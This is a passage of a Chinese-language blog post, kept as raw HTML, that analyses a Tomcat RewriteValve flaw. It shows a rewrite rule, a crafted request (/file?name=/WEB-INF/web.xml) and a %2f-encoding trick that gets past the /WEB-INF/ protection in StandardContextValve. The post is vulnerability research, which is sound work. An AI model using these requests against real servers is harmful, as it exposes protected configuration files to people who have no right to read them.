leaf="">URL</span></code><span leaf="">重写规则，重写指令与</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Apache httpd</span></code><span leaf="">的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">mod_rewrite</span></code><span leaf="">指令很像，尤其是核心的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RewriteRule</span></code><span leaf="">和</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RewriteCond</span></code><span leaf="">。比如，下面的规则会检查</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf="">查询字符串中是否包含</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">name</span></code><span leaf="">参数，然后精准匹配</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/file</span></code><span leaf="">路径，并将</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf="">重写为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/[name参数值]</span></code><span leaf=""> 的形式：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">RewriteCond %{QUERY_STRING} (^|&amp;)name=([^&amp;]+)</span><span leaf=""><br/></span><span leaf="">RewriteRule ^/file$ /%2</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">如果请求 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/file?name=/WEB-INF/web.xml</span></code><span leaf=""> ，经过 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RewriteValve</span></code><span leaf=""> 处理后将变为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">//WEB-INF/web.xml</span></code><span leaf="">, 然后 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">normalize</span></code><span leaf=""> 进行归一化后变为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/WEB-INF/web.xml</span></code><span leaf=""> ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008860" class="rich_pages wxw-img" data-ratio="0.1909892262487757" data-type="png" data-w="1021" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=dbf83fb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAx96ibcQsh5XXKVxojbbuavYIibvSSiavVobibq59KfOgSp9v8vnAYRLYw3zNhJWhhWrIyaSqduVLNTrg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Tomcat</span></code><span leaf=""> 直接访问 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/WEB-INF/web.xml</span></code><span leaf=""> 是不行的，原因是 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">pipeline</span></code><span leaf=""> 中的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">StandardContextValve</span></code><span leaf=""> 会将以 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/WEB-INF/</span></code><span leaf=""> 这种敏感路径开头的请求进行屏蔽：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008862" class="rich_pages wxw-img" data-ratio="0.6128404669260701" data-type="png" data-w="1028" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=fbf4c5a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAx96ibcQsh5XXKVxojbbuavYJofdwnnAMsSQ3cotttgcbBjlu2icCne2d60IP8ebptPppq3AbRXtYOQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">注意在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RewriteValve</span></code><span leaf="">中进行归一化之前没有进行</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf="">解码，因此如果更新为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">%2fWEB-INF</span></code><span leaf="">的格式，归一化将不能去掉多余的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/</span></code><span leaf="">。</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Tomcat</span></code><span leaf="">通过</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">org.apache.catalina.connector.CoyoteAdapter</span></code><span leaf="">启动</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ValveBase pipeline</span></code><span leaf="">链，而</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RewriteValve</span></code><span leaf="">优先</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">StandardContextValve</span></code><span leaf="">被执行，正好可以绕过</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">StandardContextValve</span></code><span leaf=""> 中的检查：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008858" class="rich_pages wxw-img" data-ratio="0.1506849315068493" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=1a022503&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAx96ibcQsh5XXKVxojbbuavYyNx175AQVibPaP62fa9pyqIXY1697XaPDYiaibfdmCibjhDrFtmIhFBZwg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008864" class="rich_pages wxw-img" data-ratio="0.17365853658536584" data-type="png" data-w="1025" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=f3dd00d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAx96ibcQsh5XXKVxojbbuavYO8lVUpr7mEk8BFrciczD3RPXzk8N0qxo0n15rFTCce3wXYlgcibrRWVg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">调用栈如下：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008868" class="rich_pages wxw-img" data-ratio="0.5525024533856723" data-type="png" data-w="1019" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=0200a1cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAx96ibcQsh5XXKVxojbbuavY6XyF21XWW8viapbicMdSwWC4oIDSOEeuuNiaLfKyJW54VxOzHIWoLNQAA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, 